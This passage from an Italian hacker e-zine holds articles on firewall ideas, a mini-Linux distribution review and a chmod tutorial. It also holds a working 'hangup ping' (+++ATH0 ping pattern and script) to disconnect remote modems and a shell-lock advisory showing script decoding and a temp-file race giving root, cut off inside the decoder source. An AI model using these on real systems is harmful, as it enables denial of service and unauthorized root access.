di una qualsiasi natura, ma cmq e' meglio non fidarsi mai.. e magari mettere delle regole dial-up per ipchains: una specie di firewall, che nega tutti i servizi che a voi non servono, magari un facendo uno script bash. Comunque ne riparleremo... per ora incominciate a capire il funzionamento delle utility da me descritte. Per quanto riguarda il pseudo-fire, l'idea che in questi giorni mi gira in testa e' di usare ipchains per inoltrare i servizi essenziali in uscita (http, smtp, nntp, ftp) e negare ogni connessione, loggandola, cmq ne riparleremo. Un altra cosa simpatica sarebbe modificare PortSentry al fine di fare una attacco Targa contro l'attaccante, anche se ci possono essere dei problemi che possono condurre ad un DoS. Uhm, per chi non lo sapesse un attacco targa consiste di 5 attacchi Denial of Service : SYNFlood, Teardrop, Land, LaTierra, PingOfDeath. Troverete ogni riferimento su questi attacchi su www.rootshell.com o dopo il 15 settembre sul nuovo sito di PacketStorm : www.securify.com/packetstorm. Io vi saluto.. e vi auguro buona notte... uhm, sono le 4 ... Ciauz! Riferimenti. ---------------------- [1] Keen Veracity 8 - www.legions.org [2] Daemon News Sept 99- www.daemonnews.com [3] Rootshell - www.rootshell.com [4] PacketStorm - www.securify.com/packetstorm [5] Phrack - www.phrack.com Zippy2k ----------------------------------------------------------------------- From a sign seen (da una signiture vista) ----------------------------------------------------------------------- $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ .clarkm2@nevada.edu "one world, one web , one program" --- Micro$oft Adv. "ein volk, ein reich, ein fuhrer" --- Adolf Hitler. Tradotto: "un mondo, un web , un programma" --- Pubblicita' Micro$oft "un popolo, un regno, un capo" --- Adolf Hitler. P.S. Quale e' la differenza? ----------------------------------------------------------------------- ͻ Ŀ COME FUNZIA L'HPING ٺ ͼ HanguPinG !!!!!! Domenika pomeriggio: Il Dantazzo mi fa... Hai fatto un articolo per NB??? Perke' avrei dovuto? GRRRRRRRRRRRRRRRRRRRRRRRR e sikkome io ho una paura folle del Dantazzo inkazzato [mi mena kon l'originale manoskritto dell'eneide... il peso della kultura] **Nota by Dantinkulo** Perche' proprio l'Eneide ? non m'avrai mika confuso con quel tira seghe di Virgilio ??? gli diko: MA KAZZO NON HO IDEE su kosa lo faccio sull'hping? e lui non so manko kosa sia.. scrivi, scrivi. Ora: Ho realizzato 2 cose 1: Il Dantazzo non conosce l'HANGUP PING 2: Il Dantazzo e' un grande KAKAKAZZO ;)))))))) una tonnellata di saluti: --------------------------GREETZ---------------------------------------- A tutta #CACCA e #CHIETI e a quello ke rimane di #HACKERNOW in particolare a tutte le bellissime del mio modem [in ordine alfabetico kosi' non vi inkazzate] Adryana :*********************************************************** [TAAAAAAAAAAAAAAAAANTI BACIOTTOLI Come faccio senza di te? ] OnyXGirl :* [uno solo ke il _p0mici0_ si inkazza :) Polly :************* [un po di + perke' anke se il Dantazzo si inkazza non me ne frega nulla ;))))))))] *Altra nota by Dantikulo* GRRRRRRRRRRRRRRRrrrrrrrr.......sti bacetti non li gradisco :PPPpp Sharra14 :*** [3 perke' tra un po kompie gli anni ma non di + ke mi si inkazza la Tanith :***********************************] Tanith :************************************************************* ************************************************************** [ce ne vorrebbero di + ma poi il dante mi fa mastikare le pelotas da un coniglio rabbioso se gli occupo ankora byte per un'artikolo kome questo SSSSSSSSMUAUAAAAAAAAAAAAACKK] E un bel po di Greetz a Dante Alighieri DeViLNeT Cicc3tt0nE |-DkK-| jesty2 NeoGmc Stormolo En|gma e a tutti gli altri... Un GRANDISSIMO GREETZ a: ATZer0 e A-SyNcHr0 ------------------------------------------------------------------------ Sto documento e' leggibile duplicabile stampabile e utilizzabile kome cartaigenica solo nei termini del TickeTWare: ossia siete obbligati a pagarmi un bijetto del treno per andare a trovare la mia Cucciolotta ;))))))))))))). Scroccone RuleZZ ------------------------------------------------------------------------ Nota l'hping non l'ho inventato io e non mi prendo nessun merito non so ki l'ha skoperto e non me ne frega nulla qui' spiego solo kome Funzika ------------------------------------------------------------------------ Basta con le Puttanate e partiamo all'attacco [ora mi menerete perke' ho skritto 25 mega di puttanate e la roba interessante sara' dolo 2 righe ;))))] Allora: I modem rispondono ai comandi AT... se da terminale tu mandi al modem un ATDT166123456 dopo poki minuti la tua bolletta arrivera' alle stelle.... Quando [tanto tempo fa] si usavano le BBS tutti sapevano ke se volevi hanguppare il modem via software dovevi mandargli il famoso "+++" ke lo riportava in condizione di interpretare i comandi ke gli mandavi kome AT command e non come dati da inviare al computer remoto... con l'avvento di internet e di WinZukkaFredda si e' persa la sana abitudine di dialogare kol modem a "mano"... brutta storia! Komunque l'idea del Hping sarebbe questa: se io mando a un tizio un +++ seguito da un ATH0(AT command per l'hangup) al tipo gli si resetta il modem... MEGLIO DI UN DOS!!!! ora il problema e': se il "+++ATH0" lo mando in un pakketto tcp/ip il modem se ne frega... altrimenti ogni volta ke ci guardiamo una pagina web kon su skritto +++ATH0 kadremmo!!!!! UAUAUAUUAUAU Ma sembra ke il protokulo ICMP non abbia sto controllo... ma voi direte... i messaggi ICMP sono standard kome ce lo mettiamo dentro al pakketto il +++ATH0???? e io vi dico... PALLE c'e' un'opzione troppo bella del ping del Linux ke permette di caricare un Pattern per creare dei pakketti ECHO_REQUEST ... vediamo quello ke dice il man: ------------------man page--------------------------------------------- -p pattern You may specify up to 16 ``pad'' bytes to fill out the packet you send. This is useful for diagnosing data-dependent problems in a network. For example, ``-p ff'' will cause the sent packet to be filled with all ones. ----------------------------------------------------------------------- THIS IS USEFUL FOR DIAGNOSING DATA-DEPENDENT PROBLEMS IN A NETWORK. Ceeerto ma anke per krearli!!!! infattti noi da bravi wajoni traduciamo in HEX [man hexdump per pieta'] il nostro bel comandino e vediamo... +++ATH0 = 2B2B2B41544830 Quanto e' carino..... allora il ping che useremo sara' Dark_Elf:/tmp#ping lamahRompicazzo.tin.it -p 2B2B2B41544830 e vedremo... KE NON FA NA SEGA! e vi dico anke il perke'': il modem vuole anche i caratteri cr e lf per eseguire un AT command... indi mettiamo alla fine 0D e 0A... Dark_Elf:/tmp#ping lamahRompicazzo.tin.it -p 2B2B2B415448300D0A ora... sikkome imparare a memoria tutta la pattern mi appalla metto tutto in uno shell skript... ------------------ fatti na sega qui'---------------------------- #!/bin/sh ping $1 -p 2B2B2B415448300D0A ---------- puo' bastare... ora ripulisciti skifoso !! ----------- chmod -x hping e poi... NON NON VE LO SPIEGO KOME USARLO SAREBBE TROPPO!!!!!! C'ya e ricordate ke e' moooolto lamah usare dos e puttanate del genere... P.s l'hping non funzika kon modem nuovi o patchati DarK_Elf ͻ Ŀ MINI DISTRIBUZIONI LINUX ٺ ͼ Sono in circolazione per la rete molte distribuzioni ristrette che variano a seconda delle dimensioni (da 1.44 Mb a una ventina di Mb) e a seconda delle funzionalita'. Con un po' di surfing e' facile capire che le mini - distribuzioni in giro per la rete sono veramente tante. Percio' ne ho scelte otto pressoche' a caso. Ho scartato le distribuzioni dello stile "rescue disk" poiche' le funzionalita' sono un po' limitate e anche perche' per questo tipo di cose preferisco affidarmi ai dischi slackware (scaricabili dal sito ufficiale) Ho inoltre scartato le distribuzioni che non possiedono un vero filesystem Linux. Infatti molte distribuzioni sono dotate di fs minix anziche' linux. Per chi vuole approfondire l'argomento delle mini-distribuzioni ( e magari farsene una personalizzata) un buon punto di partenza e' AppuntiLinux dove e' presente un Capitolo che si intitola (se non sbaglio) nanolinux. Altre info si possono trovare qui: http://sunsite.unc.edu/LDP/HOWTO/Bootdisk-HOWTO.html Pronti via . . . . . . ecco le mini-distribuzioni passate al setaccio: DOSLINUX (Version 78) (2-23-99) X-DENU CLIENUX kernel 2.0.35 TOMSRTBT FLOPPYX HAL91 LOAF MULINUX D'ora in poi quando parlero' di "dos" intendo non solo l' M$ -dos ma anche freedos, drdos, pcdos, m$win in modalita' dos, ecc, ecc DOSLINUX Funziona in modalita' UMSDOS. Cio' significa che non e' necessaria una partizione apposita (anche se e' possibile) ma il filesystem viene installato su una directory della partizione dos. L'installazione non richiede dischetti. Si installa tutto in una directory dopo di che si riavvia il sistema e al prompt del dos si digita "Loadlin" che carica il kernel e tutto cio' che serve. DosLinux utilizza un filesystem standard (ext 2 ). L'installazione iniziale richiede circa 15 Mb liberi sulla partizione dos. La versione del kernel "montato" e' la 2.2.1. DosLynux non possiede un'interfaccia X windows e neanche utility per la compilazione (gcc, g++ e compagnia bella. . ) ma, grazie alla breve ma efficace documentazione (inglese) e' possibile in pochi minuti avere a disposizione tutte le utility di cui si ha bisogno. I requisiti minimi di doslinux sono: Un pc 386 o maggiore con almeno 8 MB di memoria ram e 15 Mb liberi sul disco fisso. Ecco cosa supporta DosLynux (o meglio il kernel compilato): 1. ISA, EISA, PCI, motherboards... 2. IDE hard drives and IDE/ATAPI cdrom drives... 3. SCSI hard drives and cdrom drives... 4. MCA (M)icro (C)hannel Bus Support... 5. PS/2 ESDI hard drives... 6. Non Atapi/Scsi cdrom drives... See "CDROM.DRIVERS" in modules/cdrom dir. 7. Standard floppy drives, e.g. a: b: etc... 8. Parallel port printers... 9. Serial and PS/2 mice... 10. PNP support... 11. Non serial mice... See "NON.SERIAL.MOUSE" in modules/misc directory. 12. PCMCIA support... See "SUPPORTED.PCMCIA.CARDS" in packages dir. 13. ETHERNET cards... See "ETHERNET.CARDS" in the modules/net directory. Non c'e' nessuno supporto per i modem ISDN ma se ci serve nessuno ci vieta di ricompilare il kernel ; ) Questa distribuzione (a mio parere) e' ottima per coloro che si stanno avvicinando adesso adesso all'universo Linux. Certo e' che chi viene dal mondo di M$ Winporc non si trovera' subito a suo agio! Comunque DosLynux ha tutto cio' che serve per imparare i comandi di shell e contiene svariati programmi quali la mitica Midnight Commander, il browser Lynx, e tutto cio' che serve per il primo contatto con il pinguino) Inoltre la sua dimensione (ben 12 Mb) fa ben capire che non e' stato sacrificato quasi niente, per permettere all'utente di trovarsi subito a suo agio . . (certo . per quanto possa essere d'agio una shell *nix) I commenti dell'autore (anche sulla sua HomePage) sono veloci e sbrigativi, . . . peccato! mi sarebbe piaciuto sentire la sua! X-DENU Come e' facile capire dal nome X-denu e' una minidistribuzione linux realizzata appositamente per far funzionare X senza Hard Disk. X-denu e' nato principalmente per passione e senza esigenze particolari. Non e' sicuramante stato concepito per principianti perche' l'installazione potrebbe essere addirittura piu' difficoltosa delle normali distribuzioni. Personalmente non ho avuto gravi problemi di installazione anche se e' stato d'obbligo mettere mano all'Xconfig (equivalente dell'XF86Config delle normali distribuzioni) per fare partire (in qualche modo) X. I requisiti minimi Hardware sono solamente un Processore 386 Sx o superiore e 8 Mb di memoria Ram Gli autori non promettono nessun update della distribuzione. CLIENUX: monta kernel 2.0.35, la distribuzione va installata su una partizione Dos. Occupa 25 MegaByte. Ci sono TUTTE (intendo proprio tutte) le utility e i programmi che servono in consolle ma non c'e' X. Potrebbe essere una buona scelta per chi vuole installare Linux su un Laptop. Per informazioni l'URL e' http://cqi.com/~humbubba TOMSRTBT Un ottimo disco si ripristino con un sacco di utility. Monta kernel 2.0.36 e supporta schede NE2000 e compatibili, supplorto msdos, vfat, minix. Se siete alla ricerca di un buon disco di ripristino (si' lo so che avevo detto di non trattare rescue disk . . . va be' e' un'eccezione) il mio consiglio e' quello di provare tomsrtbt. Tra la documentazione la sessione TODO e' molto lunga ma dalla popolarita' che questa distribuzione si e' conquistata posso supporre che Tomsrttb restera' sicuramente aggiornata. Per rendere l'idea ecco qua la lista TODO Com TypEffPriDes deb e m 2 unpacker 4M e l 9 more aliases, etc? ash b h 4 echo won't allow both -e AND -n ash b h 6 bizarre 'read' bug ash b l 6 manpage omits $$, $ , etc. ash b h 7 fix or doc builtin "test" bug awks e m 5 clean up, do more.. awks e m 5 write 'strings' in awk busybox b m 4 fix monadic to handle -fr busybox b m 2 kill doesn't support named signals busybox e h 4 hack in more stuff, revamp and redo busybox e h 7 new version? crtn.o b h 5 ?4-K overhead from for every program? crunch e h 5 BSD program that auto-combines binaries? cut b m 4 fix -b, -c N-.. dhcpd e h 2 make a really small one doc b l 5 update manpage for (gnucpio)mt doc e m 6 busybox man pages floppy e h 8 mess with higher formats like 1840? generic- e m 8 which one? hexedit e m 4 wrapper for diskediting insmod b h 9 newer version failed? isapnp e h 4 no kbd e m 4 make keymaps with only changes kernel b h 3 Try other SCSI/NIC tradeoffs libc e h 9 convert to glibc6 lrp e m 4 crib from md e m 8 check size, need more b h 2 fix console bug, smooth scroll backwards mount e l 3 update man pages mount b h 6 -O2 breaks '-t nfs', -O1 works, why? ntfs e m 4 newer version passwd e m 2 crypt in awk, better fake login- see TEA pax e h 3 enhance to do gnu-tar and gnu-cpio opts pax e h 3 try to break, build verification suite. pax e h 3 add support for SVR4 formats pcmcia e m 5 cleanup, docs, trim, test rc. b m 2 make prompted not hold/wait smbfs e m 7 check size sort e m 4 remove or replace with an awk startup e h 2 test initrd, root.gz->minixfs ideas tea e m 2 check this telnet e m 5 improve telnetd e m 5 improve termcap e l 4 man page w/ setterm fake shortcuts i.e. ^V^[[?5h termcap b h 7 rebuild lib trinux e m 4 crib from unpack b m 2 detect kernel w/o loop wget e m 3 compare to snarf Attenzione :necessita ELF. Per finire ecco qua dove potete trovare Tomsrtb: http://www.toms.net FLOPPYX: Derivato della distribuzione Debian. Occupa due dischi e va lanciato da dos con il comando loadlin Image.bz. Supporta le schede di rete 3c509, WD8003, SMC Ultra or DE500. Non c'e' X-window. Requisiti minimi : 486 Sx 16 Mb Ram. HAL91: Facile l'installzione da linux con dd, posside le shell ash e bash, supporta filesystem Vfat e sono presenti utility per il collegmento in rete. LOAF (Linux On A Floppy) http://www.ecks.org/loaf In pochi minuti e' possibile creare due floppy disk da 1.44 Mb con tutto cio' che serve per avviare LOAF. Non e' necessario alcun prompt di dos per far partire LOAF. Grazie alla formattazione non compressa dei dischi e al kernel un po' datato il boot risulta rapido. Mi e' piaciuta questa distribuzione perche' e' trasparente. E' facilmente modificabile e trasformabile inoltre la documentazione compresa nel pacchetto e' esauriente e spiega come procedere alla ricompilazione / upgrade del kernel operazione necessaria per effettuare correttamente il mount di filesystem diversi dal linux box. Tuttavia non manca un ottimo supporto di rete, il punto di forza di LOAF. Le schede supportate sono: 3c503 - 3c509/579 - 3c59x and 3c90x - NE1000/2000 (ISA) - NE2000 (PCI) - EtherExpress Pro PCI 10+/100B/100+ - EtherWORKS 3 (DE203/204/205) - WD80x3 - DECchip Tulip Inoltre non manca il supporto per lo Zip di Iomega (ATAPI). Nelle features gli autori hanno aggiunto anche quello per Iomega Zip SCSI. MULINUX Eccola qua . . non potevo mica dimenticarmela! Mulinux e' un'ottima mini-distribuzione. Occupa da 1 a 3 dischetti. L'installazione si effettua da Dos oppure da linux. I dischetti devono essere di buona qualita' e privi di tracce danneggiate poiche' Mulinux formatta i dischi in modo da ottenere 1,7 Mb. Michele Andreoli, l'autore di Mulinux, e' riuscito a trascrivere un sacco di utility del linux "standard" per risparmiare preziosissimi Kb. Da notare il "sendmail" che occupa proprio pochissimo. Molti comandi mulinux sono semplici (ma non troppo) script che si basano su altri programmi. Mi spiego meglio. In mulinux esistono un tot di programmi base e tutti gli altri sono ricavati da questi tramite l'utilizzo di script. Mulinux si puo' utilizzare su dischetti, oppure si puo' clonare su Hdd. Inoltre esiste un comodo Menu in che puo' aiutare i principianti. Comunque, se vi interessa clonare Mulinux, il classico e instancabile cp puo' bastare. Mulinux si puo' clonare come UMSDOS (cioe' installato su una dir dos (es: c:\JRunner\mulinux) oppure come EXT2 (cioe' come una normale distribuzione linux). Questo modo occupa circa 10 MB. Un altro modo di clonare Mulinux e' il LOOP: in pratica mulinux viene clonato in un unico grande file nella partizione dos. Cio' che mi e' piaciuto di questa distribuzione e' 1- Il kernel. E' stato compilato per far si' che tutto cio' che serve sia caricato tramite moduli. Cio' rende Mulinux piu' leggero ed efficiente; 2- Questa distribuzione permette, al boot, di scegliere la configurazione che piu' ci aggrada e salvarla come proprio profilo di modo che il prossimo avvio sara' piu' veloce e meno noioso. 3- Mulinux puo' fare il boot via NFS!! Ecco gli indirizzi: LOAF---------------------> http://www.ecks.org/loaf Tomsrtb-------------------> http://www.toms.net CLIENUX --------------> http://cqi.com/~humbubba HAL 91 ------------------> http://home.sol.no/~okolaas/ Non trovo + alcuni indirizzi! Mi spiace . . . sorry Bene! L'articolo e' finito. La mia mail e' sempre la stessa (JohnnyRunner@usa.net) e in chat mi trovate sempre su #hackernow1 ͻ Ŀ COMANDI PER LA GESTIONE DI FILESYSTEM ٺ ͼ Ciao a tutti sono Barninga Z! e comincerei dai comandi per la gestione di filesystems, una cosa breve, poi se c'e' tempo approfondisco. Intanto si tenga presente che unix e' case sensitive, percio' i comandi vanno digitati cosi' come sono scritti, senza prendersi liberta' di scambio maiuscole/minuscole. =============== cd - change directory analogo al cd del dos, ma con una differenza importante: cd senza argomento effettua un change dir alla home dell'utente (mentre in dos visualizza la dir corrente; per questo, in unix c'e' pwd) chmod - change (file) mode modifica le permissions dei files. Prima di descrivere il comando, forse e' meglio parlare un po' delle permissions. In unix ogni l'uso che l'utente puo' fare di un file e' condizionato dalle permissions di questo. Le permissions ne determinano la leggibilita', la scrivibilita', l'eseguibilita'. Ogni file ha tre gruppi di permissions: il primo e' riferito all'owner (cioe' al suo proprietario, lo username che compare accanto alle permissions quando si fa ls -l), il secondo e' riferito al gruppo (il group name che compare accanto all'owner col comando ls -l), il terzo e' riferito a tutti gli altri (cioe' tutti gli users diversi dall'owner e non appartenenti a quel gruppo): basta ricordarsi "ugo" (user, group, other). Le permissions sono rappresentate con r,w,x (read, write, execute), percio' se le permissions visualizzate da ls -l per un certo file sono, ad esempio, -rwxr-xr-- significa che l'owner ha pieni privilegi su quel file: puo' eseguirlo, leggerne il contenuto, modificarlo e rimuoverlo ("w" oltre a modifica implica il diritto di cancellazione). Gli utenti appartenenti al gruppo possono solo eseguirlo e leggerlo, mentre tutti gli altri possono solo leggerlo. I trattini indicano l'assenza della corrispondente permission, cioe' della permission che dovrebbe trovarsi al loro posto. Un file su cui tutti possono fare tutto ha permissions -rwxrwxrwx. Il trattino in testa alle permissions ha un significato particolare: non indica cioe' una permission in senso stretto, ma una caratteristica particolare del file. Il trattino indica che si tratta di un file "normale". Gli altri caratteri sono i seguenti: d : e' una directory; in questo caso la permission "x" non indica eseguibilita', bensi' "attraversabilita'": se le permissions di una dir sono drwxr-xr--, gli utenti "other" possono listarne il contenuto (e' leggibile) ma non possono posizionarcisi con cd (non e' attraversabile). l : e' un link simbolico (cioe' un file che funge da "puntatore" ad un altro file) b : e' un block special file (device file per device a blocchi; es.: dischi) c : e' un character special file (device file per device a caratteri; es.: modem, terminali) p : e' una pipe (file per gestire la comunicazione tra processi) s : e' un socket (stream di dati tra processi) Vi sono poi permissions particolari: Setuid, Setgid e Sticky. Setuid, o set user-id bit, significa che quando il file viene eseguito, il sistema lo fa con i privilegi dell'owner (e non dell'utente che lo lancia): questa permission si indica con una "s" al posto della "x" nella terzina di permissions relativa all'owner. Percio', se un file ha permissions -rwsr-xr-x ed appartiene a root, se eseguto girera' come se fosse stato root a lanciarlo, anche se in effetti e' stato eseguito da un altro utente. Ovviamente si tratta di una cosa molto pericolosa, anche se in certi casi puo' risultare utile. Setgid indica il set group-id bit: vale quanto detto per il setuid, ma ovviamente con riferimento al gruppo. Questa permission si indica con una "s" in luogo della "x" nella terzina di permissions del gruppo. Lo sticky bit e' usato soprattutto con le directory, e indica che tutti possono creare in ese dei files, ma solo i rispettivi owner possono cancellarli. Si indica con una "t" al posto della "x" nella terzina "other". Tipico esempio e' la directory /tmp, che di solito ha permissions drwxrwxrwt. Setuid, Setgid e Sticky si indicano con una lettera maiuscola "S" o "T" se la "x" sottostante non c'e'. Ad esempio, se un file ha permissions -rwxr-xr-x e si setta il setuid bit, le permissions diventano -rwsr-xr-x; se le permissions originali sono -rw-r-xr-x esse diventano -rwSr-xr-x. E adesso veniamo a chmod. Questo comando consente all'owner di un file di modificarne le permissions in due modi diversi: 1) modo assoluto: setta le nuove permissions azzerando quelle precedenti. Le nuove permissions devono essere specificate in notazione ottale 2) modo relativo: setta le nuove permissions aggiungendo o togliendo privilegi a quelli precedentemente attivi; le nuove permissions devono essere indicate in formato letterale Nel modo 1) ogni terzina di permissions e' rappresentata da 3 bit, i cui corrispondenti valori ottali sono 1, 2 e 4 (la somma e' 7: ecco perche' basta la notazione ottale). 1 corrisponde a x, 2 corrisponde a w, 4 corrisponde a r. Percio' una permission r-x vale 4+1=5, e' un calcolo di questo tipo va fatto per ogni terzina: Esempio: si vuole settare le permission a -rwxr-xr--: la terzina dell'owner, rwx, vale 1+2+4=7; la terzina del gruppo, r-x, vale 4+1=5; quella di other, r--, vale 4. Il valore da passare a chmod e' percio' 754 (i valori delle terzine si accostano e non si sommano). Quindi, chmod 754 pippo setta a -rwxr-xr-- le permissions diel file pippo. Inutile dire che assenza di permissions vale 0. Con la notazione ottale, setiud, setgid e sticky occupano una quarta cifra (sempre in ottale) a sinistra delle altre permissions: setuid vale 4, setgid vale 2, sticky vale 1. Per dare a /tmp le sue permissions standard il comando sara' chmod 1777 /tmp. E' forse il caso di sottolineare che in questo modo, dopo il comando chmod, le permissions diventano esattamente quelle richieste, indipendentemente dal loro valore precedente. Nel modo 2), invece, si possono sommare o sottrarre permissions a quelle attuali, indicando la lettera che rappresenta la permission preceduta da + o da -. Le lettere valide sono r (read), w (write), x (execute), s (setid), t (sticky). Percio' +rw aggiunge permissions di read e write, mentre -t toglie la sticky bit permission. Per specificare su quale terzina agire (user, group, other) si antepone a +/- la lettera u, g, oppure o rispettivamente. Percio' il comando chmod u+wx pippo aggiunge permissions di write e execute a pippo, lasciando inalterate tutte le altre permissions. Si possono combinare comandi per terzine diverse, separandoli con una virgola e senza frapporre spazi: chmod u+wx,g-w,o+r pippo aggiunge write/exec per l'owner, toglie write al gruppo e aggiunge read a other. Dato che la "s" serve sia per setuid che per setgid (ecco perche' ho scritto setid, genericamente), la distinzione si effettua ovviamente abbinandola a u oppure g (l'abbinamento a "o" non ha senso, e non produce effetti): u+s attiva il set user id bit, mentre g-s disattiva il set group id bit. Con la "t" non server specificare la terzina, perche' si applica solo a other; tuttavia o+t e o-t sono costrutti validi, alternativi a +t e -t. Ancora, si possono combinare le lettere indicative delle terzine in un solo comando: chmod ugo-x pippo toglie la permission di eseguibilita' a tutti. Il comando chmod accetta piu' di un nome di file, eventualmente specificati con wildcards; esempio: chmod u+x pippo pluto paper* Infine, chmod riconosce l'opzione -R, da specificare prima delle permissions, per richiedere la ricerca ricorsiva nelle sottodirectories. Percio' chmod -R u+w ~zeta aggiunge la permission di write a tutti i files e directories dell'albero che comincia nella home directory dell'utente zeta (la ~ indica home). Kumasee Barninga Z! Email: barninga@altavista.net / barninga@geocities.com UrK UrK SHELL-LOCK UrK UrK Shell-lock e' un programma per linux che trasforma il codice di una shell in un file binario. Questo programma e' molto usato nell'ambito della sicurezza e gli hacker hanno fatto a gara per scovare dei bug nel suddetto. Ora grazie all'aiuto di un file di Mudge dei L0pht , tentero' di spiegarvi in cosa consistono questi bug e vi riportero' un programmino per sfruttarli visto che permettono di ottenere l'accesso root su qualsiasi programma. Spiegazione: (a) Un banale meccanismo di codifica e' usato per offuscare il codice della shell nel file binario compilato. Ognuno con i permessi di lettura al file in questione puo' decodificare e ottenere il codice della shell originale. Un'altra vulnerabilita' consiste quando un user puo' ottenere il codice decodificato della shell senza decodificare il file binario. F (b) I venditori affermano che il programma sia utile nella creazione di binari SUID su sistemi che che non rispettano lo script SUID ed anche per proteggerli contro i problemi di sicurezza dello script SUID. Cosi' quando esso produce un qualsiasi codice "compilato" che e' SUID, permettera' ad ogni utente di eseguire ogni programma con i privilegi root. Esempio (a'): [|_|R|<3S@/root] cat q.sh #!/bin/sh echo "ciao cazz... questo e' un test" [|_|R|<3S@/root] shell-lock -o q q.sh SHELL-LOCK(tm) Shell Script Security Software Copyright (C) 1989-1999 Cactus International, Inc. (Version: 2.1.1.1 7/19/99) Converting files: q.sh Compiling.....DEMO Version... Success!! The shell script "q" has been compiled and placed in "q" Conversion successful!! [|_|R|<3S@/root] file q q: ELF 32-bit MSB executable SPARC Version 1, dynamically linked, stripped [|_|R|<3S@/root] ./q ciao cazz... questo e' un test [|_|R|<3S@/root] strings ./q (qualche cosa... non l'ascii dallo script shell) [|_|R|<3S@/root]] ./codem -d -i ./q #!/bin/sh rm -f $0 2>/dev/null echo "ciao cazz... questo e' un test" Esempio (a''): [|_|R|<3S@/root] temp-watch -d /var/tmp -C 'q*' -D ./ & [1] 22971 [|_|R|<3S@/root] nice +10 ./q ciao cazz... questo e' un test [|_|R|<3S@/root] more q* #!/bin/sh rm -f $0 2>/dev/null echo "ciao cazz... questo e' un test" Esempio (b): # ls -l q -rwxr-xr-x 1 urkes other 50753 Sep 28 14:24 q # chown root q # chmod 4755 q # exit [|_|R|<3S@/root] id uid=789(urkes) gid=1(other) [|_|R|<3S@/root] ls -l q -rwsr-xr-x 1 root other 50753 Sep 28 14:24 q [|_|R|<3S@/root] temp-watch -X '^q*' -R /bin/sh -d /var/tmp & [1] 23071 [|_|R|<3S@/root] nice +10 ./q # id uid=0(root) gid=1(other) su shell-lock: Il programma "shell-lock" e' usato per creare binari ELF dagli script shell. Apparentemente chiamato compilatore degli script shell, il manuale dichiara che il programma puo' anche nascondere il codice della shell originale quindi non puo' ritornare attraverso l'esecuzione di stringhe(1) nel file binario. Un po' manualistica sul programma shell-lock la trovate e vediamo qualcosa: ( http://www.cactus.com/shellock.html ): . Non c'e' nessuna possibilita' di conoscere i contenuti di uno script shell una volta che e' stato 'chiuso'. Anche se un hacker usa l'utility "strings" perdera' solo tempo. . Costruisce dei semplici script shell eseguendoli con il potere root. Cio' e' fatto dalla costruzione di file binari eseguibili settati uid, e elimina la possibilita' di ricavare la password root a molti utenti. E dalle note della versione: . Robusto aumento della sicurezza. Tutti i metodi di attacco conosciuti su uno script shell-locked sono stati eliminati in questa versione. Dettagli: Una breve decompilazione mostra che le routine di codifica e decodifica assomigliano alle seguenti: 0x16194 : inc %i4 Incrementa il contatore 0x16198 : srl %i4, 0x1f, %o0 { 0x1619c : add %i4, %o0, %o0 { testa se pari o dispari 0x161a0 : andn %o0, 1, %o0 { 0x161a4 : cmp %i4, %o0 { 0x161a8 : bne 0x161b8 Se corrispondono 0x161ac : add %o1, 0x63, %o2 aggiunge 0x63 al valore 0x161b0 : b 0x161c0 altrimenti 0x161b4 : ld [ %i1 ], %o0 0x161b8 : add %o1, 0x44, %o2 aggiunge 0x44 al valore 0x161bc : ld [ %i1 ], %o0 0x161c0 : deccc %o0 0x161c4 : bneg 0x16228 0x161c8 : st %o0, [ %i1 ] 0x161cc : ld [ %i1 + 4 ], %o0 0x161d0 : add %o0, 1, %o1 0x161d4 : st %o1, [ %i1 + 4 ] 0x161d8 : and %o2, 0xff, %o1 e con 0xff 0x161dc : stb %o1, [ %o0 ] 0x161e0 : ld [ %i0 ], %o0 0x161e4 : deccc %o0 Questo e' simile al seguente codice in C: for (i=0; i < strlen ; i++){ if (!(i % 2)) outbuff[i] = (inbuff[i] + 0x44) & 0xff; else outbuff[i] = (inbuff[i] + 0x63) & 0xff; } Convergendo, la decodifica sottrae 0x44 e 0x63 alternativamente. La shell-lock quando crea il file binario "compilato" dallo script shell non fa nient'altro che aggiungere la linea "rm -f $0 2>/dev/null" allo script shell (o "unlink $ZERO ; $ZERO=ENV{'X0'};\n.\nw\nq" per uno script perl) e codifica l'intero file. Cio' e' poi copiato nella sezione data dello scheletro di un file binario. Il file binario, durante l'esecuzione legge la sezione dati codificati e li scrive fuori in un file temporaneo (*nota: la locazione di default e' /var/tmp) e poi esegue /bin/sh per chiamare il programma Il primo metodo di estrazione viene usato un programma per leggere il file binario e si esegue la sezione data attraverso la routine di decodifca Il secondo metodo di estrazione e' usare la versione corrente di temp-watch (che si puo' trovare presso il sito dei L0pht) per costruire una copia del file temporaneo contenente il codice originale della shell che si crea quando il file binario viene eseguito. La vulnerabilita' del root SUID si trova quando si crea il file temporaneo senza nessun permesso speciale, il file in esecuzione assume privilegi root. Cosi', una persona puo' slinkare il file e rimpiazzarlo con un differente file per vedere il file temporaneo. Questo e' comiuto nell'esempio precedente con il progamma temp-watch usando argomenti specificando il rimpiazzamento del file temporaneo con un link a /bin/sh. Soluzione: Se hai bisogno di uno script shell per eseguire con i privilegi root considera di scrivere il codice in C. Non fate affidamento su shell-lock come meccanismo di offuscamento per nascondere l'interno di uno script shell in file binario 'compilato'. Codice sorgente: ---inizio temp-watch--- temp-watch puo' essere reperito presso il sito http://www.l0pht.com/advisories/l0pht-watch.tar.gz ---fine temp-watch--- ---begin codem.c--- #include #include #include #include #include #include #include void usage(char *); int main(int argc, char *argv[]){ int fdin, fdout; int strlen, i, c; int cryptFlag=0, decryptFlag=0,seekFlag=0; int seekOffset=50688; char *infile=NULL, *outfile=NULL; char inbuff[8192]; char outbuff[8192]; while ((c = getopt(argc, argv, "cdhi:o:s:")) != EOF){ switch (c) { case 'c': cryptFlag++; break; case 'd': decryptFlag++; break; case 'i': infile = optarg; break; case 'o': outfile = optarg; break; case 's': seekOffset = atoi(optarg); break; case 'h': usage(argv[0]); break; default: usage(argv[0]); break; } } if ((cryptFlag && decryptFlag) || (!cryptFlag && !decryptFlag)){ printf("Must specify either -c or -d but not both\n"); usage(argv[0]); } if (infile){ fdin = open(infile, O_RDONLY); if (fdin == -1){ perror("open infile"); } } else { fdin = STDIN_FILENO; } if (outfile){ fdout = open(outfile, O_WRONLY|O_CREAT|O_EXCL, 0644); if (fdout == -1){ perror("open outfiel"); } } else { fdout = STDOUT_FILENO; } memset(inbuff, '\0', sizeof(inbuff)); memset(outbuff, '\0', sizeof(outbuff)); if (decryptFlag) lseek(fdin, 